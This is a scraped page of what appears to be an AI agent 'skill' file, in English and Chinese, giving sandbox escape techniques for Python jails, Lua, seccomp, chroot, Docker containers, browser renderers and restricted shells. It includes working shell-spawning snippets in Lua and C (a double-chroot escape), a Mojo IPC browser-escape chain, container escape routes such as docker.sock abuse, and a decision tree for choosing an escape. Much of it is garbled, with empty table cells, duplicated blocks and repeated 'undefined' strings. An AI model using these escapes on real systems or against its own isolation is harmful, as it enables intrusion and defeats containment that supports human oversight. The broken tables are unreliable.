Loading...
Loading...
Compare original and translation side by side
AI LOAD INSTRUCTION: Expert sandbox escape techniques across Python, Lua, seccomp, chroot, Docker/container, and browser sandbox contexts. Covers CTF pyjail patterns, seccomp architecture confusion, chroot fd leaks, namespace escape, and Mojo IPC abuse. Distilled from ctf-wiki sandbox sections and real-world container escapes. Base models often miss the distinction between sandbox types and apply wrong escape techniques.
AI加载说明:覆盖Python、Lua、seccomp、chroot、Docker/容器、浏览器沙箱场景的专家级沙箱逃逸技术,包含CTF pyjail模式、seccomp架构混淆、chroot文件描述符泄漏、命名空间逃逸以及Mojo IPC滥用。内容提炼自ctf-wiki沙箱板块和真实场景容器逃逸案例,基础大模型通常无法区分不同沙箱类型,会误用逃逸技术。
__builtins____builtins__| Sandbox Type | Indicators | Typical Context |
|---|---|---|
| Python sandbox (pyjail) | Limited builtins, filtered keywords, | CTF, online judges, Jupyter |
| Lua sandbox | No | Game scripting, config |
| seccomp | syscall filtering, | CTF pwn, container hardening |
| chroot | Changed root filesystem, limited | Legacy isolation |
| Docker/container | Namespaces, cgroups, reduced capabilities | Cloud, microservices |
| Browser (renderer) | OS-level sandbox (seccomp-bpf + namespaces on Linux) | Chrome, Firefox |
| Namespace isolation | PID/mount/network/user namespace | Container runtimes |
| 沙箱类型 | 识别特征 | 典型场景 |
|---|---|---|
| Python沙箱(pyjail) | 内置函数受限、关键词过滤、 | CTF、在线判题系统、Jupyter |
| Lua沙箱 | 无 | 游戏脚本、配置系统 |
| seccomp | 系统调用过滤、存在 | CTF pwn题、容器加固 |
| chroot | 根文件系统被修改、 | 传统隔离方案 |
| Docker/容器 | 命名空间、cgroups、能力集裁剪 | 云环境、微服务 |
| 浏览器(渲染器) | 操作系统级沙箱(Linux上为seccomp-bpf + 命名空间) | Chrome、Firefox |
| 命名空间隔离 | PID/挂载/网络/用户命名空间 | 容器运行时 |
| Technique | One-Liner |
|---|---|
| Subclass walk | |
| Import recovery | |
| getattr bypass | |
| chr construction | |
| Pickle escape | |
| Code object | Construct |
| 技术 | 单行代码实现 |
|---|---|
| 子类遍历 | |
| 导入恢复 | |
| getattr绕过 | |
| chr拼接构造 | |
| Pickle逃逸 | |
| 代码对象构造 | 构造 |
-- If debug library available:
debug.getinfo(1) -- information leakage
debug.getregistry() -- access global registry
debug.getupvalue(func, 1) -- read closed-over variables
debug.setupvalue(func, 1, new_val) -- overwrite upvalues
-- Recover os module via debug:
local getupvalue = debug.getupvalue
-- Walk upvalues of known functions to find references to os/io
-- If loadstring available:
loadstring("os.execute('sh')")()
-- If string.dump available:
-- Dump function bytecode, patch it, load modified function
-- Metatables escape:
-- If rawset/rawget blocked but __index/__newindex exists:
-- Forge metatable chain to access restricted globals-- If debug library available:
debug.getinfo(1) -- information leakage
debug.getregistry() -- access global registry
debug.getupvalue(func, 1) -- read closed-over variables
debug.setupvalue(func, 1, new_val) -- overwrite upvalues
-- Recover os module via debug:
local getupvalue = debug.getupvalue
-- Walk upvalues of known functions to find references to os/io
-- If loadstring available:
loadstring("os.execute('sh')")()
-- If string.dump available:
-- Dump function bytecode, patch it, load modified function
-- Metatables escape:
-- If rawset/rawget blocked but __index/__newindex exists:
-- Forge metatable chain to access restricted globals-- LuaJIT FFI provides C function access
local ffi = require("ffi")
ffi.cdef[[ int system(const char *command); ]]
ffi.C.system("sh")
-- If require is blocked but ffi is preloaded:
-- Find ffi via package.loaded or debug.getregistry-- LuaJIT FFI provides C function access
local ffi = require("ffi")
ffi.cdef[[ int system(const char *command); ]]
ffi.C.system("sh")
-- If require is blocked but ffi is preloaded:
-- Find ffi via package.loaded or debug.getregistry| Technique | Condition | Method |
|---|---|---|
| Open fd to real root | File descriptor leaked from outside chroot | |
| Double chroot | Process is root inside chroot | |
| TIOCSTI ioctl | Terminal access (fd 0 is a TTY) | Inject keystrokes to parent shell via |
| /proc access | | |
| ptrace | CAP_SYS_PTRACE | Attach to process outside chroot |
| Mount namespace | Privileged | Mount real root into chroot |
| 技术 | 前置条件 | 实现方法 |
|---|---|---|
| 真实根目录文件描述符泄漏 | 外部泄漏的文件描述符可在chroot内访问 | 调用 |
| 双重chroot | 进程在chroot内拥有root权限 | |
| TIOCSTI ioctl | 拥有终端访问权限(文件描述符0为TTY) | 通过 |
| /proc可访问 | chroot内挂载了 | 访问 |
| ptrace | 拥有CAP_SYS_PTRACE权限 | 附加到chroot外的进程 |
| 挂载命名空间 | 拥有特权 | 将真实根目录挂载到chroot内 |
// Must be root inside chroot
mkdir("/tmp/escape", 0755);
chroot("/tmp/escape"); // new chroot inside old chroot
// Old CWD is now outside the new chroot
// Navigate up to real root:
for (int i = 0; i < 100; i++) chdir("..");
chroot("."); // now at real root
execl("/bin/sh", "sh", NULL);// Must be root inside chroot
mkdir("/tmp/escape", 0755);
chroot("/tmp/escape"); // new chroot inside old chroot
// Old CWD is now outside the new chroot
// Navigate up to real root:
for (int i = 0; i < 100; i++) chdir("..");
chroot("."); // now at real root
execl("/bin/sh", "sh", NULL);Renderer Process:
├── seccomp-bpf (syscall filter)
├── PID namespace (isolated PIDs)
├── Network namespace (no direct network)
├── Mount namespace (minimal filesystem)
└── Reduced capabilities (no CAP_SYS_ADMIN etc.)Renderer Process:
├── seccomp-bpf (syscall filter)
├── PID namespace (isolated PIDs)
├── Network namespace (no direct network)
├── Mount namespace (minimal filesystem)
└── Reduced capabilities (no CAP_SYS_ADMIN etc.)| Vector | Description |
|---|---|
| Mojo IPC bug | UAF or type confusion in Mojo interface handler in browser process |
| Shared memory corruption | Corrupt shared memory segments between renderer and browser |
| GPU process bug | Exploit GPU process (less sandboxed) as stepping stone |
| Kernel exploit | Escape directly via kernel vulnerability (bypasses all sandboxing) |
| Signal handling | Race condition in signal delivery across sandbox boundary |
| 向量 | 描述 |
|---|---|
| Mojo IPC漏洞 | 浏览器进程中Mojo接口处理逻辑存在UAF或类型混淆 |
| 共享内存损坏 | 破坏渲染器和浏览器之间的共享内存段 |
| GPU进程漏洞 | 利用沙箱限制更少的GPU进程作为跳板 |
| 内核漏洞 | 直接通过内核漏洞逃逸(绕过所有沙箱限制) |
| 信号处理 | 沙箱边界信号传递过程中存在竞态条件 |
1. Renderer RCE achieved (via V8/Blink bug)
2. Enumerate available Mojo interfaces from renderer
3. Find vulnerable interface (UAF on message handling, integer overflow in parameter validation)
4. Craft malicious Mojo message → trigger bug in browser process
5. Browser process is unsandboxed → full system access1. 已获取渲染器RCE(通过V8/Blink漏洞)
2. 从渲染器枚举可用的Mojo接口
3. 找到存在漏洞的接口(消息处理存在UAF、参数校验存在整数溢出)
4. 构造恶意Mojo消息 → 触发浏览器进程漏洞
5. 浏览器进程无沙箱限制 → 获取完整系统权限undefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefined
---
---| Technique | Method |
|---|---|
| vi/vim | |
| less/more | |
| awk | |
| find | |
| python/perl/ruby | |
| ssh | |
| Environment | |
| cp | Copy |
| git | |
| Encoding | `echo /bin/bash |
| 技术 | 实现方法 |
|---|---|
| vi/vim | 执行 |
| less/more | 执行 |
| awk | 执行 |
| find | 执行 |
| python/perl/ruby | 执行 |
| ssh | 执行 |
| 环境变量 | 执行 |
| cp | 将 |
| git | 执行 |
| 编码绕过 | 执行`echo /bin/bash |
What type of sandbox?
├── Python sandbox (pyjail)?
│ └── See PYTHON_SANDBOX_ESCAPE.md
│ ├── __builtins__ available? → direct import
│ ├── Subclass walk: ().__class__.__bases__[0].__subclasses__()
│ ├── Keywords filtered? → chr()/getattr() construction
│ └── eval/exec available? → code object manipulation
│
├── Lua sandbox?
│ ├── debug library available? → getregistry/getupvalue
│ ├── FFI available (LuaJIT)? → ffi.C.system()
│ ├── loadstring available? → load arbitrary code
│ └── All restricted? → metatable chain exploitation
│
├── seccomp filter?
│ └── See SECCOMP_BYPASS.md
│ ├── Architecture confusion (32-bit syscalls from 64-bit)
│ ├── Allowed syscalls → ORW chain
│ ├── io_uring allowed? → bypass via io_uring
│ └── ptrace allowed? → debug child process
│
├── chroot jail?
│ ├── Root inside chroot? → double chroot escape
│ ├── Leaked fd? → fchdir to real root
│ ├── /proc mounted? → /proc/1/root access
│ └── Terminal access? → TIOCSTI injection
│
├── Container / Docker?
│ ├── Privileged container? → mount host, load kernel module
│ ├── Mounted docker.sock? → docker API → escape
│ ├── See ../container-escape-techniques/SKILL.md
│ └── Kernel exploit → full escape
│
├── Browser sandbox?
│ ├── Have renderer RCE? → target Mojo IPC for browser escape
│ ├── GPU process accessible? → less-sandboxed stepping stone
│ └── Kernel exploit → bypass sandbox entirely
│
└── Restricted shell (rbash)?
└── Find any interactive program (vi, less, python, awk, git)当前沙箱类型是什么?
├── Python沙箱(pyjail)?
│ └── 参考PYTHON_SANDBOX_ESCAPE.md
│ ├── __builtins__可用? → 直接导入
│ ├── 子类遍历: ().__class__.__bases__[0].__subclasses__()
│ ├── 关键词被过滤? → chr()/getattr()拼接构造
│ └── eval/exec可用? → 代码对象操作
│
├── Lua沙箱?
│ ├── debug库可用? → getregistry/getupvalue
│ ├── FFI可用(LuaJIT)? → ffi.C.system()
│ ├── loadstring可用? → 加载任意代码
│ └── 所有功能都受限? → 元表链利用
│
├── seccomp过滤器?
│ └── 参考SECCOMP_BYPASS.md
│ ├── 架构混淆(64位环境调用32位系统调用)
│ ├── 允许的系统调用 → ORW链构造
│ ├── io_uring可用? → 通过io_uring绕过
│ └── ptrace可用? → 调试子进程
│
├── chroot监狱?
│ ├── chroot内拥有root权限? → 双重chroot逃逸
│ ├── 存在泄漏的文件描述符? → fchdir到真实根目录
│ ├── /proc已挂载? → 访问/proc/1/root
│ └── 拥有终端访问权限? → TIOCSTI注入
│
├── 容器 / Docker?
│ ├── 特权容器? → 挂载主机目录、加载内核模块
│ ├── 挂载了docker.sock? → 调用docker API实现逃逸
│ ├── 参考../container-escape-techniques/SKILL.md
│ └── 内核漏洞 → 完全逃逸
│
├── 浏览器沙箱?
│ ├── 已获取渲染器RCE? → 针对Mojo IPC实现浏览器逃逸
│ ├── 可访问GPU进程? → 利用沙箱限制更少的跳板
│ └── 内核漏洞 → 完全绕过沙箱
│
└── 受限shell(rbash)?
└── 寻找任意交互式程序(vi, less, python, awk, git)